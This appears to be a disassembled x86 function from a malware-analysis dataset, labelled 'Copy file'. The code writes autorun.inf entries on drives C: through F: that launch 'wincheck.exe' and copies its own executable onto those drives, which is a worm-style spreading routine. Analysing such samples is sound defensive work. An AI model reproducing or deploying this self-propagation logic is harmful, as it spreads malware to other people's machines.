Function at 0x402ca0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4166e4
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1664
call fcn.00413ef0
mov eax, dword [0x41d490]
xor eax, esp
mov dword [esp + 0x1660], eax
push ebx
push esi
push edi
mov eax, dword [0x41d490]
xor eax, esp
push eax
lea eax, [esp + 0x1678]
mov dword fs:[0], eax
push str.C:_autorun.inf
lea eax, [esp + 0x168]
push eax
call fcn.00404290
lea ecx, [esp + 0x164]
push str._AutoRun.Amd64_
push ecx
mov dword [esp + 0x1688], 0
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x402d49
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402d49
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402d69
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402d62
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x164]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x402dae
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402dae
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402dce
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402dc7
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x164]
push str._AutoRun_
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x402e13
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402e13
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402e33
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402e2c
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x164]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x402e78
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402e78
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402e98
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402e91
or eax, 4
push 0
call fcn.004015d0
push 0x1388
lea edx, [esp + 0x2e8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x41a498]
mov edx, dword [0x41a49c]
mov eax, dword [str.D:wincheck.exe]
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0x2d8], ecx
push 0
lea ecx, [esp + 0x2d8]
mov dword [esp + 0x2e0], edx
mov dword [esp + 0x2d8], eax
mov eax, dword [0x41a4a0]
push ecx
lea edx, [esp + 0x2ec]
push edx
mov dword [esp + 0x2ec], eax
call ebx
push str.D:_autorun.inf
lea eax, [esp + 0x210]
push eax
call fcn.00404290
lea ecx, [esp + 0x20c]
push str._AutoRun.Amd64_
push ecx
mov byte [esp + 0x1688], 1
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x402f58
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402f58
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402f78
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402f71
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x20c]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x402fbd
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402fbd
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402fdd
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402fd6
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x20c]
push str._AutoRun_
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x403022
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x403022
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x403042
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40303b
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x20c]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x403087
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x403087
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4030a7
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4030a0
or eax, 4
push 0
call fcn.004015d0
mov eax, dword [0x41a4b8]
mov ecx, dword [0x41a4bc]
mov edx, dword [str.E:wincheck.exe]
mov dword [esp + 0x2b8], eax
push 0
lea eax, [esp + 0x2b8]
mov dword [esp + 0x2c0], ecx
mov dword [esp + 0x2b8], edx
mov edx, dword [0x41a4c0]
push eax
lea ecx, [esp + 0x2ec]
push ecx
mov dword [esp + 0x2cc], edx
call ebx
push str.E:_autorun.inf
lea edx, [esp + 0xc0]
push edx
call fcn.00404290
lea eax, [esp + 0xbc]
push str._AutoRun.Amd64_
push eax
mov byte [esp + 0x1688], 2
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40314d
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40314d
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40316d
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x403166
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0xbc]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x4031b2
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x4031b2
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4031d2
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4031cb
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0xbc]
push str._AutoRun_
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x403217
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x403217
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x403237
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x403230
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0xbc]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40327c
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40327c
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40329c
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x403295
or eax, 4
push 0
call fcn.004015d0
mov eax, dword [0x41a4d8]
mov ecx, dword [0x41a4dc]
mov edx, dword [str.F:wincheck.exe]
mov dword [esp + 0x2c8], eax
push 0
lea eax, [esp + 0x2c8]
mov dword [esp + 0x2d0], ecx
mov dword [esp + 0x2c8], edx
mov edx, dword [0x41a4e0]
push eax
lea ecx, [esp + 0x2ec]
push ecx
mov dword [esp + 0x2dc], edx
call ebx
push str.F:_autorun.inf
lea edx, [esp + 0x18]
push edx
call fcn.00404290
lea eax, [esp + 0x14]
push str._AutoRun.Amd64_
push eax
mov byte [esp + 0x1688], 3
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40333c
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40333c
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40335c
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x403355
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x14]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40339e
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40339e
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x4033be
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x4033b7
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x14]
push str._AutoRun_
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x403400
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x403400
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x403420
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x403419
or eax, 4
push 0
call fcn.004015d0
lea edx, [esp + 0x14]
push str.openwincheck.exe
push edx
call fcn.00405ff0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403d70
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x403462
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x403462
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x403482
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40347b
or eax, 4
push 0
call fcn.004015d0
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x74]
mov ebx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov dword [esp + 0x10], edx
mov dword [esp + ecx + 0x14], ebx
lea ecx, [esp + 0x18]
mov byte [esp + 0x1680], 4
call fcn.00404380
mov byte [esp + 0x1680], 2
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x74]
mov edi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov dword [esp + eax + 0x14], edi
mov esi, vtable.std::ios_base.0
push ecx
mov dword [esp + 0x78], esi
call fcn.00406815
mov eax, dword [esp + 0xc0]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x120]
add esp, 4
mov dword [esp + 0x10], edx
mov dword [esp + ecx + 0xbc], ebx
lea ecx, [esp + 0xc0]
mov byte [esp + 0x1680], 5
call fcn.00404380
mov byte [esp + 0x1680], 1
mov edx, dword [esp + 0xbc]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x11c]
mov dword [esp + eax + 0xbc], edi
push ecx
mov dword [esp + 0x120], esi
call fcn.00406815
mov eax, dword [esp + 0x210]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x270]
add esp, 4
mov dword [esp + 0x10], edx
mov dword [esp + ecx + 0x20c], ebx
lea ecx, [esp + 0x210]
mov byte [esp + 0x1680], 6
call fcn.00404380
mov byte [esp + 0x1680], 0
mov edx, dword [esp + 0x20c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x26c]
mov dword [esp + eax + 0x20c], edi
push ecx
mov dword [esp + 0x270], esi
call fcn.00406815
mov eax, dword [esp + 0x168]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x1c8]
add esp, 4
mov dword [esp + 0x10], edx
mov dword [esp + ecx + 0x164], ebx
lea ecx, [esp + 0x168]
mov dword [esp + 0x1680], 7
call fcn.00404380
mov dword [esp + 0x1680], 0xffffffff
mov edx, dword [esp + 0x164]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x1c4]
mov dword [esp + eax + 0x164], edi
push ecx
mov dword [esp + 0x1c8], esi
call fcn.00406815
add esp, 4
mov ecx, dword [esp + 0x1678]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1660]
xor ecx, esp
call fcn.00407166
mov esp, ebp
pop ebp
ret